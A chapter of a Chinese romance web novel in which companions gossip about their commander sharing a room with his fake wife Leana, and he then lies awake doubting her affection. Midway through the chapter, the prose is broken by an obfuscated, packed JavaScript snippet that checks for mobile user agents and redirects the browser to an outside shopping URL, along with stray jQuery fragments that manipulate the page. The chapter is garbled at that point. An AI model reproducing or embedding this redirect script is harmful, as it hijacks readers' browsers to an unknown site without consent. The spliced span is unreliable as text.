85. 同伴们的八卦时光

作品:《我的白月光她机关算尽

    马克西姆外出采购了一堆药,他从不在圣都的市场采购,一是因为价格、二是因为效力、三是为了避免被人掌握药品需求。


    他会去圣都附近的村镇寻觅,经过一段时间的踩点,他已经和好几位药农搭上线了。


    优点是物美价廉且不容易被人查到。


    缺点是很花费时间。


    他背着大包小包回去的时候已经快午夜了。


    “今天还真是让人火大的一天呢。”


    他捏紧了手里的药。


    工作很麻烦就罢了,饭也没吃上,再加上今天下午莱安娜竟然被亨利投了过敏原出现休克反应了。


    自己精心治疗照顾了几个多月的病患,身体健康终于开始有起色了。


    诶嘿,被人投过敏原休克了。


    “这和投毒有什么区别!谁投的!我要掐死他,知不知道我花了多少时间、多少精力才让病人的健康有好转!”


    他气得想咬人。


    如果有人用一个下午毁掉一位医师几个月的努力,那位医师一定会想活撕了他。


    不想莱安娜,一想其他几个同伴,哎呦喂,也是不在意自己身体的:娜塔莉亚休息日会变成酒鬼,列昂尼德会熬夜打牌、远在北方的海姆不知道偷偷抽了多少烟……一想到这些他真是一个头两个大。


    “这都什么破事儿啊!”


    他提着草药包,如同一只负重前行的仓鼠爬回宅邸时,却发现列昂尼德在他房间里等着。


    “你这么晚不睡觉,来我房间干嘛?”


    他一把将草药包丢在地上,也不管列昂尼德,径直倒在了床上。


    他刚躺下,同样拖着疲惫身躯的娜塔莉娅也来了。


    “你们聚在这儿干嘛?”她非常不解,踹了马克西姆两脚,示意他给自己挪下位置。


    “你这个加班狂魔都下班了,怎么还没见到斯捷潘?”


    马克西姆困惑道。


    娜塔莉亚:“他和露比神官去研究所了,研究魔导器,他应该还在赎罪呢。”


    “赎罪?”


    “可不是吗?他似乎用留影石录了露比神官喝醉时的话,用这个威胁了对方太多次,把对方惹火了,所以现在忙着做实验,想要将功补过。”


    娜塔莉娅摇了摇头后,直接抢过对方的枕头,美美躺下,继续问:“所以列昂尼德你到底来这里干嘛?”


    “长官新招了一个情报官,从圣都招的,已经住进来了,在我的隔壁。”


    “嗯?”


    马克西姆从床上爬了起来,揉了揉眼睛,娜塔莉娅也有些意外。


    “阿纳托利长官一向谨慎,怎么会这么快做决定,这个同事什么来头?”马克西姆先发问。


    “长官已经和我说了,这位是他在布鲁城认识的,因为可以提供雇佣兵组织之类的情报,所以有合作。”


    “雇佣兵?可以信赖吗?”娜塔莉娅有些怀疑。


    “他会直接和长官对接信息,长官说了其他工作我们正常配合就行,不用和他信息共享,涉及北境的一些计划方案不用告诉他,但最重要的一点是,长官强调了莱安娜主教的身份必须保密。”


    “我们保密倒是简单,但他俩这假夫妻,住一个屋檐下的,那人难保不会看出什么吧?”


    娜塔莉娅有些担忧。


    “所以长官已经搬到莱安娜小姐的房间去了。”


    列昂尼德挑了挑眉,意味深长地看了马克西姆和娜塔莉娅一眼。


    马克西姆没有反应过来,娜塔莉娅一下子就明白了,和列昂尼德默契地对视,感叹道:


    “女神在上……太刺激了!”


    她露出一个心满意足的笑容,随后一把握住列昂尼德的手。


    “好兄弟,你就是我异父异母的亲兄弟,谢谢你大晚上告诉我,不然我都不知道错过了什么!”


    “客气。”列昂尼德仗义地拍了拍自己的胸脯。“喝酒吗?我从地窖里拿了果酒。”


    列昂尼德老父亲一样的欣慰的笑容根本压不下去。


    “喝!”娜塔莉娅兴奋地点头。


    “神明啊!阿纳托利他终于走出求婚被拒的情伤,开始新生活了。”列昂尼德的嘴角不自觉上扬。


    “是啊,我还记得那次新年聚会。长官喝醉了之后趴在桌上号啕大哭的样子。”娜塔莉亚扶额。


    “别提那事了,那都将成为过去。”


    列昂尼德笑着和娜塔莉娅对视,但一旁的马克西姆似乎没搞清楚状况。


    “不是?你们在开心什么?长官现在要被迫和莱安娜睡在一个屋子里,在确定那个雇佣兵可信之前都要住在一起,虽说是合作对象,但莱安娜小姐毕竟是教会的人,长官既需要戒备她,又要共处一室,你们不觉得这很糟糕吗?”


    马克西姆一脸担忧,说得义正严辞。


    “哇哦,这里还有个傻子诶。”


    娜塔莉娅和列昂尼德对视一眼,心中如是想道,随后用看傻子的眼神盯着马克西姆。


    他俩真想反问,马克西姆到底哪里看出来阿纳托利戒备莱安娜的,哪次情报哪次信件没给她看过,又是请厨师又是选药材。


    但想了想还是没有给马克西姆说破。


    “算了,和刚成年的年轻人也没什么可说的。”


    列昂尼德压低声音在娜塔莉娅耳边说了一句。


    娜塔莉娅点了点头。


    两人再一次默契地握了握手。


    马克西姆一头雾水,总觉得他俩似乎像是在说自己的坏话。


    “怎么办,关于莱安娜主教的事情需要向他保密,我真的好想当面问他今天到底发生了什么!感觉一定很精彩!”


    娜塔莉娅托着脸蛋兴奋地遐想。


    “没事,之后旁敲侧击地问问不打紧。”列昂尼德冲娜塔莉娅点了点头。


    “你们还是离他远点吧,因为他的加入,给长官增加了负担,长官心里一定不太喜欢这人,你们瞧着吧,他一定会被苛扣工资的。”


    马克西姆语气十分笃定。


    “这孩子已经没救了。”列昂尼德和娜塔莉娅沉痛地摇了摇头。


    “你还真是学医学傻了!”列昂尼德感叹道。


    “你到底是什么意思?”


    “我的意思是不管那个雇佣兵是不是值得信任,长官都应该感激他。”


    “?”


    马克西姆摸不着头脑,而走廊尽头房间的兰斯打了一个大大的喷嚏。


    而阿纳托利并没有他们预期那样开心。


    实不相瞒,他现在恨不得让列昂尼德给他脑袋上来一锤,砸昏了了事。


    “怎么可能睡得着啊!”


    他死死地盯住天花板。


    莱安娜侧躺在他的旁边,或许因为药物的作用,这个平时睡眠极浅的人竟然在和自己聊工作的时候睡着了。


    他们当时仍在讨论防御司和亨利的合作。


    定了正事之后,两人又聊到了东部的一些事儿,海姆对奥菲莉亚在泰西防线的安排,除了这些事,他还有许多事情想和莱安娜说。


    借着这样


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223459|194758||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阴差阳错的契机和身份,会不会更容易得到她的信任呢?会不会能得到更具体的回答呢?


    他们之间隔的不只是这加班的这段时间,还有整整八年。


    “你明明之前身体很好,我们一起前往呼啸谷准备材料,连着淋了三天的雨,愣是一个喷嚏都没打,为什么现在健康情况如此堪忧?”


    “为什么你会搬出艾夫忒宁家,你和文森特之间到底发生了什么?那次家变到底怎么回事?”


    “为什么亨利要对你动手?”


    “你是不是有什么麻烦?”


    “你是不是需要我?”


    这些问题盘旋在他心中许久,他想问一下莱安娜,哪怕莱安娜并不会给他答案。


    但很遗憾,刚刚讲完海姆给奥菲莉亚安排的自习内容时,他就听到了均匀的呼吸声。


    对方已经耷拉下了头,闭上了眼睛。


    他只得把所有的问题又咽回了肚子。


    他扶着莱安娜躺下,给她整理好了被子,然后平躺在她的身边。


    爱人就在他的身旁,但就在这看似无比亲密的时刻,他高兴不起来。


    在梦做到了最美好的那刻,不真实感是最强的,也是最容易清醒的。


    在离对方最近的时候他却突然看清了什么一般,想要退缩了。


    “都是假的。”


    他看着熟睡的侧脸叹了口气。


    回忆来到圣都的一路,莱安娜什么都不给他透露。除非万不得已,否则也不会主动寻求帮助,主动提出需求。这算是一种不信任的表现吗?


    他的眼神一点点地暗淡了下去。


    “莱安娜对我所有的亲密举动,都是出于表演的目的,其中是否掺杂一点点她的个人感情呢?恐怕没有吧。”


    无论是在婚礼上主动给他的那个吻,还是之后在其他人前的牵手拥抱,还有今天在兰斯面前主动吻他,似乎都不是出于她的情感,不过是一种局势所迫的手段。


    “你不爱我?”


    阿纳托利突然觉得无论是吻还是拥抱还是同床共枕的时光,亦或者丈夫这个假的身份都像自己偷来的一样。


    因为这些东西并不属于他,似乎早晚莱安娜都会收回去,只留给他一个冷淡的背影。


    这场戏里,莱安娜一直都很清醒,只是自己越陷越深了。


    “你要让我怎么办呢?你永远都是这样,若即若离,近在咫尺又遥不可及。”


    他心里埋怨着这个没心没肺已经睡着的人。


    他翻身侧对着她,正在下定控制感情的决心。


    熟睡的莱安娜朝着他挪了两下,感受到了温暖,她的手搭了过来。


    刚才下的决心像个笑话一样碎得一干二净。


    他没有推开对方,完全是下意识就回应了对方索取温暖的行为。


    莱安娜的头几乎贴在了他的脖子上,他连对方呼吸的轻微颤动都能感知到。她的手脚冰凉,哪怕在无意识的睡梦里也贪恋他的温暖,贴得越来越近。


    阿纳托利能够清楚地听见自己的心跳声,他紧闭着眼睛,不敢动也不敢睁开眼,仿佛一切像是一个易碎的梦。


    “如果都是假的,那就这样吧。”


    他喃喃自语,像是自暴自弃了一般,睁开眼睛,将对方圈到了怀抱里。”


    “哪怕一切都是假的,但我对你却总是真心。”


    他在对方额头上落下一吻。


    “如果我向你表达心意,你会回应我吗?”


    他轻声询问,但熟睡的人没法回答。